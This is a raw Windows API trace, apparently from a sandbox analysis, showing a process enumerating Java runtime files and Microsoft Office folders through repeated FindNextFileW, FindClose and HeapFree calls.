	[0206.030] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.030] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0206.031] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.031] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0206.032] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446c8d0 | out: hHeap=0x560000) returned 1
	[0206.032] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x1fd, dwReserved1=0xffffc1fd, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0206.032] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.032] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0206.033] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.033] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0206.033] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.033] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0206.034] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.034] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0206.035] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.035] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0206.035] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.035] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0206.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.036] FindNextFileW (in: hFindFile=0x6527d8, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xffffc1fe, cFileName="cursors", cAlternateFileName="")) returned 0
	[0206.036] FindClose (in: hFindFile=0x6527d8 | out: hFindFile=0x6527d8) returned 1
	[0206.036] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.036] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0206.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.037] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0206.037] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.037] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0206.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.038] FindNextFileW (in: hFindFile=0x6522d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0206.038] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0206.040] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x1fd, dwReserved1=0xffffc1fd, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0206.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4412070 | out: hHeap=0x560000) returned 1
	[0206.040] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e20fb10, ftCreationTime.dwHighDateTime=0x1d4ef59, ftLastAccessTime.dwLowDateTime=0xd1c6580, ftLastAccessTime.dwHighDateTime=0x1d54886, ftLastWriteTime.dwLowDateTime=0xd1c6580, ftLastWriteTime.dwHighDateTime=0x1d54886, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="writes-heroes-spies.exe", cAlternateFileName="WRITES~1.EXE")) returned 1
	[0206.040] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0206.041] FindNextFileW (in: hFindFile=0x652518, lpFindFileData=0x3a3fa7c | out: lpFindFileData=0x3a3fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea89f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83ea89f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1036, dwReserved1=0xffffca44, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0206.281] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.281] FindNextFileW (in: hFindFile=0x6523d8, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8621ea1d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8621ea1d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0206.283] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43e0048 | out: hHeap=0x560000) returned 1
	[0206.283] FindNextFileW (in: hFindFile=0x6523d8, lpFindFileData=0x3a3f800 | out: lpFindFileData=0x3a3f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0206.286] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44458a8 | out: hHeap=0x560000) returned 1
	[0206.286] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0206.318] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44558b0 | out: hHeap=0x560000) returned 1
	[0206.318] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0206.718] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44658b8 | out: hHeap=0x560000) returned 1
	[0206.719] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xadc, dwReserved1=0xffffbcd9, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0206.719] FindClose (in: hFindFile=0x652958 | out: hFindFile=0x652958) returned 1
	[0206.719] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44558b0 | out: hHeap=0x560000) returned 1
	[0206.720] FindNextFileW (in: hFindFile=0x6528d8, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0206.720] FindClose (in: hFindFile=0x6528d8 | out: hFindFile=0x6528d8) returned 1
	[0206.720] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44458a8 | out: hHeap=0x560000) returned 1
	[0206.721] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0206.724] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.724] FindNextFileW (in: hFindFile=0x652658, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0206.725] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.725] FindNextFileW (in: hFindFile=0x652658, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0206.727] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.727] FindNextFileW (in: hFindFile=0x652658, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0206.727] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.727] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0206.729] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.729] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0206.731] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.731] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0206.733] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.733] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0206.753] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.753] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0206.757] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.757] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0207.169] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.169] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="es-es", cAlternateFileName="")) returned 1
	[0207.170] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.170] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0207.170] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.170] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="x-none", cAlternateFileName="")) returned 1
	[0207.172] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44748a0 | out: hHeap=0x560000) returned 1
	[0207.172] FindNextFileW (in: hFindFile=0x652798, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0xcdf, cFileName="x-none", cAlternateFileName="")) returned 0
	[0207.172] FindClose (in: hFindFile=0x652798 | out: hFindFile=0x652798) returned 1
	[0207.172] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0207.172] FindNextFileW (in: hFindFile=0x652598, lpFindFileData=0x3a3f584 | out: lpFindFileData=0x3a3f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0207.173] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451b948 | out: hHeap=0x560000) returned 1
